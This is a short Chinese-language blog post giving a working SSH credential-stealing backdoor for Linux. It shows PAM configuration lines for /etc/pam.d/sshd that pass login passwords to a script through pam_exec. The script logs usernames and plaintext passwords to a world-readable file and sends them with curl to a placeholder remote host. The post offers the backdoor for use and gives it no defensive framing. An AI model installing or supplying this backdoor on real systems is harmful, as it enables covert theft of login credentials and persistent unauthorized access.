PAM 后门记录用户名和密码

作者: print("") 分类: linux 发布时间: 2021-08-13 19:40

在/etc/pam.d/sshd 中添加如下的数据

auth [default=ignore] pam_exec.so expose_authtok quiet /etc/security/suicide.sh
password [default=ignore] pam_exec.so expose_authtok quiet /etc/security/suicide.sh

脚本内容如下:

#!/usr/bin/env bash
recordfile=/etc/pamlog.conf
if [ ! -f $recordfile ];then
    touch $recordfile
    chmod 644 $recordfile
fi

PAM_PASSWORD=`cat -`
echo "Service: ${PAM_SERVICE}; User: ${PAM_USER}; Password: ${PAM_PASSWORD}; Type: ${PAM_TYPE}" >> $recordfile

##发送数据到云端

curl xxxx.com/get_usermain=${PAM_USER}&password=${PAM_PASSWORD}

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。